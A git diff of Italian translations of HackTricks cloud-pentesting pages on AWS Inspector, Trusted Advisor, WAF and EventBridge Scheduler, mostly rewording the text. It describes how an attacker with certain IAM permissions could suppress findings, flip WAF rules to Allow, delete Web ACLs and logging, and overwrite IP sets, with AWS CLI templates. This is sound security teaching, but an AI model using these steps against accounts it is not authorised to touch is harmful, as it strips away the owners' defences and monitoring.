Un attaccante con questi permessi sarebbe in grado di manipolare le regole di filtraggio che determinano quali vulnerabilità e problemi di sicurezza vengono segnalati o soppressi (se l'**azione** è impostata su SUPPRESS, verrebbe creata una regola di soppressione). Questo potrebbe nascondere vulnerabilità critiche agli amministratori della sicurezza, rendendo più facile sfruttare queste debolezze senza essere rilevati. Alterando o rimuovendo filtri importanti, un attaccante potrebbe anche creare rumore inondando il sistema con risultati irrilevanti, ostacolando un monitoraggio e una risposta efficace alla sicurezza.
|
||||
```bash
|
||||
# Create
|
||||
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
|
||||
@@ -347,12 +345,12 @@ aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,e
|
||||
|
||||
#### `inspector2:TagResource`, `inspector2:UntagResource`
|
||||
|
||||
Un attaccante potrebbe manipolare i tag sulle risorse di AWS Inspector, che sono critiche per organizzare, tracciare e automatizzare le valutazioni di sicurezza. Alterando o rimuovendo i tag, un attaccante potrebbe potenzialmente nascondere vulnerabilità dalle scansioni di sicurezza, interrompere la reportistica di conformità e interferire con i processi di remediation automatizzati, portando a problemi di sicurezza non controllati e compromettendo l'integrità del sistema.
|
||||
Un attaccante potrebbe manipolare i tag sulle risorse di AWS Inspector, che sono critiche per organizzare, tracciare e automatizzare le valutazioni di sicurezza. Alterando o rimuovendo i tag, un attaccante potrebbe potenzialmente nascondere vulnerabilità dalle scansioni di sicurezza, interrompere la reportistica di conformità e interferire con i processi di remediation automatizzati, portando a problemi di sicurezza non controllati e compromissione dell'integrità del sistema.
|
||||
```bash
|
||||
aws inspector2 tag-resource --resource-arn <value> --tags <value>
|
||||
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
- **Impatto Potenziale**: Nascondere le vulnerabilità, interruzione della reportistica di conformità, interruzione dell'automazione della sicurezza e interruzione dell'allocazione dei costi.
|
||||
- **Impatto Potenziale**: Nascondere vulnerabilità, interruzione della reportistica di conformità, interruzione dell'automazione della sicurezza e interruzione dell'allocazione dei costi.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@@ -1,29 +1,27 @@
|
||||
# AWS - Trusted Advisor Enum
|
||||
|
||||
## AWS - Trusted Advisor Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica di AWS Trusted Advisor
|
||||
## AWS Trusted Advisor Overview
|
||||
|
||||
Trusted Advisor è un servizio che **fornisce raccomandazioni** per ottimizzare il tuo account AWS, allineandosi con le **migliori pratiche AWS**. È un servizio che opera in più regioni. Trusted Advisor offre approfondimenti in quattro categorie principali:
|
||||
|
||||
1. **Ottimizzazione dei costi:** Suggerisce come ristrutturare le risorse per ridurre le spese.
|
||||
2. **Prestazioni:** Identifica potenziali colli di bottiglia nelle prestazioni.
|
||||
3. **Sicurezza:** Scansiona vulnerabilità o configurazioni di sicurezza deboli.
|
||||
3. **Sicurezza:** Scansiona per vulnerabilità o configurazioni di sicurezza deboli.
|
||||
4. **Tolleranza ai guasti:** Raccomanda pratiche per migliorare la resilienza del servizio e la tolleranza ai guasti.
|
||||
|
||||
Le funzionalità complete di Trusted Advisor sono accessibili esclusivamente con **piani di supporto aziendale o enterprise AWS**. Senza questi piani, l'accesso è limitato a **sei controlli principali**, principalmente focalizzati su prestazioni e sicurezza.
|
||||
|
||||
### Notifiche e Aggiornamento Dati
|
||||
### Notifications and Data Refresh
|
||||
|
||||
- Trusted Advisor può emettere avvisi.
|
||||
- Gli elementi possono essere esclusi dai suoi controlli.
|
||||
- I dati vengono aggiornati ogni 24 ore. Tuttavia, un aggiornamento manuale è possibile 5 minuti dopo l'ultimo aggiornamento.
|
||||
|
||||
### **Suddivisione dei Controlli**
|
||||
### **Checks Breakdown**
|
||||
|
||||
#### CategorieCore
|
||||
#### CategoriesCore
|
||||
|
||||
1. Ottimizzazione dei costi
|
||||
2. Sicurezza
|
||||
@@ -32,7 +30,7 @@ Le funzionalità complete di Trusted Advisor sono accessibili esclusivamente con
|
||||
5. Limiti di servizio
|
||||
6. Permessi dei bucket S3
|
||||
|
||||
#### Controlli Principali
|
||||
#### Core Checks
|
||||
|
||||
Limitato agli utenti senza piani di supporto aziendale o enterprise:
|
||||
|
||||
@@ -43,18 +41,18 @@ Limitato agli utenti senza piani di supporto aziendale o enterprise:
|
||||
5. Snapshot pubblici RDS
|
||||
6. Limiti di servizio
|
||||
|
||||
#### Controlli di Sicurezza
|
||||
#### Security Checks
|
||||
|
||||
Un elenco di controlli principalmente focalizzati sull'identificazione e la rettifica delle minacce alla sicurezza:
|
||||
|
||||
- Impostazioni del gruppo di sicurezza per porte ad alto rischio
|
||||
- Accesso illimitato al gruppo di sicurezza
|
||||
- Accesso non limitato ai gruppi di sicurezza
|
||||
- Accesso in scrittura/elenco aperto ai bucket S3
|
||||
- MFA abilitato sull'account root
|
||||
- Permissività del gruppo di sicurezza RDS
|
||||
- Utilizzo di CloudTrail
|
||||
- Record SPF per i record MX di Route 53
|
||||
- Configurazione HTTPS su ELB
|
||||
- Configurazione HTTPS sugli ELB
|
||||
- Gruppi di sicurezza per ELB
|
||||
- Controlli dei certificati per CloudFront
|
||||
- Rotazione delle chiavi di accesso IAM (90 giorni)
|
||||
@@ -64,7 +62,7 @@ Un elenco di controlli principalmente focalizzati sull'identificazione e la rett
|
||||
|
||||
AWS Trusted Advisor funge da strumento cruciale per garantire l'ottimizzazione, le prestazioni, la sicurezza e la tolleranza ai guasti dei servizi AWS basati su pratiche consolidate.
|
||||
|
||||
## **Riferimenti**
|
||||
## **References**
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)
|
||||
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
# AWS - WAF Enum
|
||||
|
||||
## AWS - WAF Enum
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS WAF
|
||||
|
||||
AWS WAF è un **firewall per applicazioni web** progettato per **proteggere le applicazioni web o le API** contro vari exploit web che possono influenzare la loro disponibilità, sicurezza o consumo di risorse. Consente agli utenti di controllare il traffico in entrata impostando **regole di sicurezza** che mitigano i vettori di attacco tipici come l'iniezione SQL o il cross-site scripting e anche definendo regole di filtraggio personalizzate.
|
||||
AWS WAF è un **firewall per applicazioni web** progettato per **proteggere le applicazioni web o le API** contro vari exploit web che possono influenzare la loro disponibilità, sicurezza o consumo di risorse. Consente agli utenti di controllare il traffico in entrata impostando **regole di sicurezza** che mitigano vettori di attacco tipici come l'iniezione SQL o il cross-site scripting e anche definendo regole di filtraggio personalizzate.
|
||||
|
||||
### Concetti chiave
|
||||
|
||||
@@ -14,22 +12,22 @@ AWS WAF è un **firewall per applicazioni web** progettato per **proteggere le a
|
||||
|
||||
Un Web ACL è una raccolta di regole che puoi applicare alle tue applicazioni web o API. Quando associ un Web ACL a una risorsa, AWS WAF ispeziona le richieste in arrivo in base alle regole definite nel Web ACL e intraprende le azioni specificate.
|
||||
|
||||
#### Gruppo di Regole
|
||||
#### Rule Group
|
||||
|
||||
Un Gruppo di Regole è una raccolta riutilizzabile di regole che puoi applicare a più Web ACL. I gruppi di regole aiutano a gestire e mantenere set di regole coerenti tra diverse applicazioni web o API.
|
||||
Un Rule Group è una raccolta riutilizzabile di regole che puoi applicare a più Web ACL. I gruppi di regole aiutano a gestire e mantenere set di regole coerenti tra diverse applicazioni web o API.
|
||||
|
||||
Ogni gruppo di regole ha la sua **capacità** associata, che aiuta a calcolare e controllare le risorse operative utilizzate per eseguire le tue regole, gruppi di regole e Web ACL. Una volta impostato il suo valore durante la creazione, non è possibile modificarlo.
|
||||
|
||||
#### Regola
|
||||
#### Rule
|
||||
|
||||
Una regola definisce un insieme di condizioni che AWS WAF utilizza per ispezionare le richieste web in arrivo. Ci sono due tipi principali di regole:
|
||||
|
||||
1. **Regola Normale**: Questo tipo di regola utilizza condizioni specificate per determinare se consentire, bloccare o contare le richieste web.
|
||||
2. **Regola Basata su Tasso**: Conta le richieste da un indirizzo IP specifico in un periodo di cinque minuti. Qui, gli utenti definiscono una soglia e, se il numero di richieste da un IP supera questo limite entro cinque minuti, le richieste successive da quell'IP vengono bloccate fino a quando il tasso di richiesta non scende al di sotto della soglia. La soglia minima per le regole basate su tasso è **2000 richieste**.
|
||||
1. **Regular Rule**: Questo tipo di regola utilizza condizioni specificate per determinare se consentire, bloccare o contare le richieste web.
|
||||
2. **Rate-Based Rule**: Conta le richieste da un indirizzo IP specifico in un periodo di cinque minuti. Qui, gli utenti definiscono una soglia e, se il numero di richieste da un IP supera questo limite entro cinque minuti, le richieste successive da quell'IP vengono bloccate fino a quando il tasso di richiesta scende al di sotto della soglia. La soglia minima per le regole basate su tasso è **2000 richieste**.
|
||||
|
||||
#### Regole Gestite
|
||||
#### Managed Rules
|
||||
|
||||
AWS WAF offre set di regole gestite preconfigurati che sono mantenuti da AWS e dai venditori di AWS Marketplace. Questi set di regole forniscono protezione contro minacce comuni e vengono aggiornati regolarmente per affrontare nuove vulnerabilità.
|
||||
AWS WAF offre set di regole gestite preconfigurati, mantenuti da AWS e venditori di AWS Marketplace. Questi set di regole forniscono protezione contro minacce comuni e vengono aggiornati regolarmente per affrontare nuove vulnerabilità.
|
||||
|
||||
#### IP Set
|
||||
|
||||
@@ -62,25 +60,25 @@ Il parametro di scope in AWS WAF specifica se le regole e le configurazioni WAF
|
||||
|
||||
### Caratteristiche chiave
|
||||
|
||||
#### Criteri di Monitoraggio (Condizioni)
|
||||
#### Monitoring Criteria (Conditions)
|
||||
|
||||
**Condizioni** specificano gli elementi delle richieste HTTP/HTTPS in arrivo che AWS WAF monitora, che includono XSS, posizione geografica (GEO), indirizzi IP, vincoli di dimensione, iniezione SQL e modelli (corrispondenza di stringhe e regex). È importante notare che **le richieste bloccate a livello di CloudFront in base al paese non raggiungeranno WAF**.
|
||||
**Conditions** specificano gli elementi delle richieste HTTP/HTTPS in arrivo che AWS WAF monitora, che includono XSS, posizione geografica (GEO), indirizzi IP, vincoli di dimensione, iniezione SQL e modelli (corrispondenza di stringhe e regex). È importante notare che **le richieste bloccate a livello di CloudFront in base al paese non raggiungeranno WAF**.
|
||||
|
||||
Ogni account AWS può configurare:
|
||||
|
||||
- **100 condizioni** per ogni tipo (eccetto per Regex, dove sono consentite solo **10 condizioni**, ma questo limite può essere aumentato).
|
||||
- **100 regole** e **50 Web ACL**.
|
||||
- **100 condizioni** per ciascun tipo (eccetto per Regex, dove sono consentite solo **10 condizioni**, ma questo limite può essere aumentato).
|
||||
- **100 regole** e **50 Web ACLs**.
|
||||
- Un massimo di **5 regole basate su tasso**.
|
||||
- Un throughput di **10.000 richieste al secondo** quando WAF è implementato con un bilanciatore di carico per applicazioni.
|
||||
- Un throughput di **10.000 richieste al secondo** quando WAF è implementato con un application load balancer.
|
||||
|
||||
#### Azioni delle Regole
|
||||
#### Rule actions
|
||||
|
||||
Le azioni sono assegnate a ciascuna regola, con le opzioni che sono:
|
||||
|
||||
- **Allow**: La richiesta viene inoltrata alla distribuzione CloudFront appropriata o al bilanciatore di carico per applicazioni.
|
||||
- **Allow**: La richiesta viene inoltrata alla distribuzione CloudFront appropriata o all'Application Load Balancer.
|
||||
- **Block**: La richiesta viene terminata immediatamente.
|
||||
- **Count**: Conta le richieste che soddisfano le condizioni della regola. Questo è utile per il testing delle regole, confermando l'accuratezza della regola prima di impostarla su Allow o Block.
|
||||
- **CAPTCHA e Challenge:** Viene verificato che la richiesta non provenga da un bot utilizzando puzzle CAPTCHA e sfide silenziose.
|
||||
- **CAPTCHA and Challenge:** Viene verificato che la richiesta non provenga da un bot utilizzando puzzle CAPTCHA e sfide silenziose.
|
||||
|
||||
Se una richiesta non corrisponde a nessuna regola all'interno del Web ACL, subisce l'**azione predefinita** (Allow o Block). L'ordine di esecuzione delle regole, definito all'interno di un Web ACL, è cruciale e segue tipicamente questa sequenza:
|
||||
|
||||
@@ -88,11 +86,11 @@ Se una richiesta non corrisponde a nessuna regola all'interno del Web ACL, subis
|
||||
2. Blocca IP in blacklist.
|
||||
3. Blocca le richieste che corrispondono a qualsiasi firma dannosa.
|
||||
|
||||
#### Integrazione con CloudWatch
|
||||
#### CloudWatch Integration
|
||||
|
||||
AWS WAF si integra con CloudWatch per il monitoraggio, offrendo metriche come AllowedRequests, BlockedRequests, CountedRequests e PassedRequests. Queste metriche vengono segnalate ogni minuto per impostazione predefinita e conservate per un periodo di due settimane.
|
||||
|
||||
### Enumerazione
|
||||
### Enumeration
|
||||
|
||||
Per interagire con le distribuzioni CloudFront, devi specificare la Regione US East (N. Virginia):
|
||||
|
||||
@@ -192,14 +190,14 @@ aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
|
||||
>
|
||||
> Tuttavia, un attaccante potrebbe anche essere interessato a interrompere questo servizio in modo che i siti web non siano protetti dal WAF.
|
||||
|
||||
In molte delle operazioni di Eliminazione e Aggiornamento sarebbe necessario fornire il **lock token**. Questo token è utilizzato per il controllo della concorrenza sulle risorse, garantendo che le modifiche non vengano sovrascritte accidentalmente da più utenti o processi che tentano di aggiornare la stessa risorsa simultaneamente. Per ottenere questo token, potresti eseguire le corrispondenti operazioni di **list** o **get** sulla risorsa specifica.
|
||||
In molte delle operazioni di Eliminazione e Aggiornamento sarebbe necessario fornire il **lock token**. Questo token è utilizzato per il controllo della concorrenza sulle risorse, garantendo che le modifiche non vengano accidentalmente sovrascritte da più utenti o processi che tentano di aggiornare la stessa risorsa simultaneamente. Per ottenere questo token, potresti eseguire le corrispondenti operazioni di **list** o **get** sulla risorsa specifica.
|
||||
|
||||
#### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
|
||||
|
||||
Un attaccante sarebbe in grado di compromettere la sicurezza della risorsa interessata:
|
||||
|
||||
- Creando gruppi di regole che potrebbero, ad esempio, bloccare il traffico legittimo da indirizzi IP legittimi, causando un'interruzione del servizio.
|
||||
- Aggiornando gruppi di regole, potendo modificare le sue azioni ad esempio da **Block** a **Allow**.
|
||||
- Aggiornando i gruppi di regole, potendo modificare le sue azioni ad esempio da **Block** a **Allow**.
|
||||
- Eliminando gruppi di regole che forniscono misure di sicurezza critiche.
|
||||
```bash
|
||||
# Create Rule Group
|
||||
@@ -245,7 +243,7 @@ Con questi permessi, un attaccante sarebbe in grado di:
|
||||
|
||||
- Creare un nuovo Web ACL, introducendo regole che consentono il traffico malevolo o bloccano il traffico legittimo, rendendo di fatto il WAF inutile o causando una negazione del servizio.
|
||||
- Aggiornare Web ACL esistenti, potendo modificare le regole per consentire attacchi come SQL injection o cross-site scripting, che erano precedentemente bloccati, o interrompere il normale flusso di traffico bloccando richieste valide.
|
||||
- Eliminare un Web ACL, lasciando le risorse interessate completamente non protette, esponendole a un'ampia gamma di attacchi web.
|
||||
- Eliminare un Web ACL, lasciando le risorse interessate completamente scoperte, esponendole a un'ampia gamma di attacchi web.
|
||||
|
||||
> [!NOTE]
|
||||
> Puoi eliminare il **WebACL** specificato solo se **ManagedByFirewallManager** è falso.
|
||||
@@ -333,7 +331,7 @@ Il file **rule.json** apparirebbe così:
|
||||
|
||||
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
|
||||
|
||||
Il permesso **`wafv2:AssociateWebACL`** consentirebbe a un attaccante di associare ACL web (Liste di Controllo degli Accessi) con risorse, riuscendo a bypassare i controlli di sicurezza, permettendo al traffico non autorizzato di raggiungere l'applicazione, portando potenzialmente a exploit come SQL injection o cross-site scripting (XSS). Al contrario, con il permesso **`wafv2:DisassociateWebACL`**, l'attaccante potrebbe disabilitare temporaneamente le protezioni di sicurezza, esponendo le risorse a vulnerabilità senza rilevamento.
|
||||
Il permesso **`wafv2:AssociateWebACL`** consentirebbe a un attaccante di associare ACL web (Access Control Lists) con risorse, riuscendo a bypassare i controlli di sicurezza, permettendo al traffico non autorizzato di raggiungere l'applicazione, portando potenzialmente a exploit come SQL injection o cross-site scripting (XSS). Al contrario, con il permesso **`wafv2:DisassociateWebACL`**, l'attaccante potrebbe disabilitare temporaneamente le protezioni di sicurezza, esponendo le risorse a vulnerabilità senza rilevamento.
|
||||
|
||||
I permessi aggiuntivi sarebbero necessari a seconda del tipo di risorsa protetta:
|
||||
|
||||
@@ -370,7 +368,7 @@ aws wafv2 update-ip-set --name <value> --id <value> --addresses <value> --lock-t
|
||||
# Delete IP set
|
||||
aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
```
|
||||
L'esempio seguente mostra come **sovrascrivere il set IP esistente con il set IP desiderato**:
|
||||
L'esempio seguente mostra come **sovrascrivere l'IP set esistente con l'IP set desiderato**:
|
||||
```bash
|
||||
aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
|
||||
```
|
||||
@@ -378,11 +376,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
|
||||
|
||||
#### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
|
||||
|
||||
Un attaccante con questi permessi sarebbe in grado di manipolare i set di pattern di espressione regolare utilizzati da AWS WAF per controllare e filtrare il traffico in entrata in base a pattern specifici.
|
||||
Un attaccante con questi permessi sarebbe in grado di manipolare i set di pattern di espressioni regolari utilizzati da AWS WAF per controllare e filtrare il traffico in entrata in base a pattern specifici.
|
||||
|
||||
- Creare nuovi pattern regex aiuterebbe un attaccante a consentire contenuti dannosi
|
||||
- Aggiornando i pattern esistenti, un attaccante potrebbe eludere le regole di sicurezza
|
||||
- Eliminare pattern progettati per bloccare attività dannose potrebbe consentire a un attaccante di inviare payload dannosi e eludere le misure di sicurezza.
|
||||
- Eliminare pattern progettati per bloccare attività dannose potrebbe consentire a un attaccante di inviare payload dannosi ed eludere le misure di sicurezza.
|
||||
```bash
|
||||
# Create regex pattern set
|
||||
aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
|
||||
@@ -400,8 +398,8 @@ Un attaccante con il **`wafv2:DeleteLoggingConfiguration`** sarebbe in grado di
|
||||
Durante il processo di creazione, il servizio imposta automaticamente i permessi necessari per consentire la scrittura dei log nella destinazione di logging specificata:
|
||||
|
||||
- **Amazon CloudWatch Logs:** AWS WAF crea una policy di risorsa sul gruppo di log CloudWatch Logs designato. Questa policy garantisce che AWS WAF abbia i permessi necessari per scrivere log nel gruppo di log.
|
||||
- **Amazon S3 Bucket:** AWS WAF crea una policy di bucket sul bucket S3 designato. Questa policy concede a AWS WAF i permessi necessari per caricare log nel bucket specificato.
|
||||
- **Amazon Kinesis Data Firehose:** AWS WAF crea un ruolo collegato al servizio specificamente per interagire con Kinesis Data Firehose. Questo ruolo consente a AWS WAF di consegnare log allo stream Firehose configurato.
|
||||
- **Amazon S3 Bucket:** AWS WAF crea una policy di bucket sul bucket S3 designato. Questa policy concede ad AWS WAF i permessi necessari per caricare log nel bucket specificato.
|
||||
- **Amazon Kinesis Data Firehose:** AWS WAF crea un ruolo collegato al servizio specificamente per interagire con Kinesis Data Firehose. Questo ruolo consente ad AWS WAF di consegnare log allo stream Firehose configurato.
|
||||
|
||||
> [!NOTE]
|
||||
> È possibile definire solo una destinazione di logging per ogni web ACL.
|
||||
@@ -411,11 +409,11 @@ aws wafv2 put-logging-configuration --logging-configuration <value>
|
||||
# Delete logging configuration
|
||||
aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
|
||||
```
|
||||
**Impatto Potenziale:** Visibilità oscura sugli eventi di sicurezza, difficoltà nel processo di risposta agli incidenti e facilitazione di attività malevole nascoste all'interno degli ambienti protetti da AWS WAF.
|
||||
**Impatto Potenziale:** Oscurare la visibilità sugli eventi di sicurezza, rendere difficile il processo di risposta agli incidenti e facilitare attività malevole occulte all'interno degli ambienti protetti da AWS WAF.
|
||||
|
||||
#### **`wafv2:DeleteAPIKey`**
|
||||
|
||||
Un attaccante con questi permessi sarebbe in grado di eliminare le chiavi API esistenti, rendendo il CAPTCHA inefficace e interrompendo la funzionalità che si basa su di esso, come l'invio di moduli e i controlli di accesso. A seconda dell'implementazione di questo CAPTCHA, ciò potrebbe portare a un bypass del CAPTCHA o a un DoS se la gestione degli errori non è impostata correttamente nella risorsa.
|
||||
Un attaccante con questi permessi sarebbe in grado di eliminare le chiavi API esistenti, rendendo il CAPTCHA inefficace e interrompendo la funzionalità che si basa su di esso, come le sottomissioni di moduli e i controlli di accesso. A seconda dell'implementazione di questo CAPTCHA, ciò potrebbe portare a un bypass del CAPTCHA o a un DoS se la gestione degli errori non è impostata correttamente nella risorsa.
|
||||
```bash
|
||||
# Delete API key
|
||||
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
|
||||
@@ -1,18 +1,16 @@
|
||||
# AWS - Enumerazione del Programmatore EventBridge
|
||||
|
||||
## Programmatore EventBridge
|
||||
# AWS - EventBridge Scheduler Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Programmatore EventBridge
|
||||
## EventBridge Scheduler
|
||||
|
||||
**Amazon EventBridge Scheduler** è un programmatore completamente gestito e **senza server progettato per creare, eseguire e gestire attività** su larga scala. Ti consente di pianificare milioni di attività su oltre 270 servizi AWS e oltre 6.000 operazioni API, tutto da un servizio centrale. Con affidabilità integrata e senza infrastruttura da gestire, EventBridge Scheduler semplifica la pianificazione, riduce i costi di manutenzione e si scala automaticamente per soddisfare la domanda. Puoi configurare espressioni cron o di frequenza per pianificazioni ricorrenti, impostare invocazioni una tantum e definire finestre di consegna flessibili con opzioni di ripetizione, garantendo che le attività vengano consegnate in modo affidabile in base alla disponibilità degli obiettivi downstream.
|
||||
**Amazon EventBridge Scheduler** è un scheduler completamente gestito e **serverless progettato per creare, eseguire e gestire attività** su larga scala. Ti consente di pianificare milioni di attività su oltre 270 servizi AWS e oltre 6.000 operazioni API, tutto da un servizio centrale. Con affidabilità integrata e senza infrastruttura da gestire, EventBridge Scheduler semplifica la pianificazione, riduce i costi di manutenzione e si scala automaticamente per soddisfare la domanda. Puoi configurare espressioni cron o di frequenza per pianificazioni ricorrenti, impostare invocazioni una tantum e definire finestre di consegna flessibili con opzioni di ripetizione, garantendo che le attività vengano consegnate in modo affidabile in base alla disponibilità degli obiettivi downstream.
|
||||
|
||||
C'è un limite iniziale di 1.000.000 di pianificazioni per regione per account. Anche la pagina ufficiale delle quote suggerisce: "Si consiglia di eliminare le pianificazioni una tantum una volta completate." 
|
||||
C'è un limite iniziale di 1.000.000 pianificazioni per regione per account. Anche la pagina ufficiale delle quote suggerisce: "Si consiglia di eliminare le pianificazioni una tantum una volta completate."
|
||||
|
||||
### Tipi di Pianificazioni
|
||||
|
||||
Tipi di Pianificazioni nel Programmatore EventBridge:
|
||||
Tipi di Pianificazioni in EventBridge Scheduler:
|
||||
|
||||
1. **Pianificazioni una tantum** – Esegui un'attività a un orario specifico, ad esempio, 21 dicembre alle 7 AM UTC.
|
||||
2. **Pianificazioni basate su frequenza** – Imposta attività ricorrenti in base a una frequenza, ad esempio, ogni 2 ore.
|
||||
@@ -25,26 +23,26 @@ Due meccanismi per gestire eventi non riusciti:
|
||||
|
||||
### Obiettivi
|
||||
|
||||
Ci sono 2 tipi di obiettivi per un programmatore [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), che sono comunemente usati e AWS li ha resi più facili da configurare, e [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), che possono essere utilizzati per chiamare qualsiasi API AWS.
|
||||
Ci sono 2 tipi di obiettivi per uno scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), che sono comunemente usati e AWS li ha resi più facili da configurare, e [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), che possono essere utilizzati per chiamare qualsiasi API AWS.
|
||||
|
||||
**Obiettivi templated** supportano i seguenti servizi:
|
||||
|
||||
- CodeBuild – StartBuild
|
||||
- CodePipeline – StartPipelineExecution
|
||||
- Amazon ECS – RunTask
|
||||
- Parametri: EcsParameters
|
||||
- Parameters: EcsParameters
|
||||
- EventBridge – PutEvents
|
||||
- Parametri: EventBridgeParameters
|
||||
- Parameters: EventBridgeParameters
|
||||
- Amazon Inspector – StartAssessmentRun
|
||||
- Kinesis – PutRecord
|
||||
- Parametri: KinesisParameters
|
||||
- Parameters: KinesisParameters
|
||||
- Firehose – PutRecord
|
||||
- Lambda – Invoke
|
||||
- SageMaker – StartPipelineExecution
|
||||
- Parametri: SageMakerPipelineParameters
|
||||
- Parameters: SageMakerPipelineParameters
|
||||
- Amazon SNS – Publish
|
||||
- Amazon SQS – SendMessage
|
||||
- Parametri: SqsParameters
|
||||
- Parameters: SqsParameters
|
||||
- Step Functions – StartExecution
|
||||
|
||||
### Enumerazione
|
||||
@@ -66,7 +64,7 @@ aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
Nella pagina seguente, puoi controllare come **abusare dei permessi di eventbridge scheduler per escalare i privilegi**:
|
||||
Nella pagina seguente, puoi controllare come **abusare dei permessi del programmatore di eventbridge per escalare i privilegi**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/eventbridgescheduler-privesc.md
|
||||
|
||||
Reference in New Issue
Block a user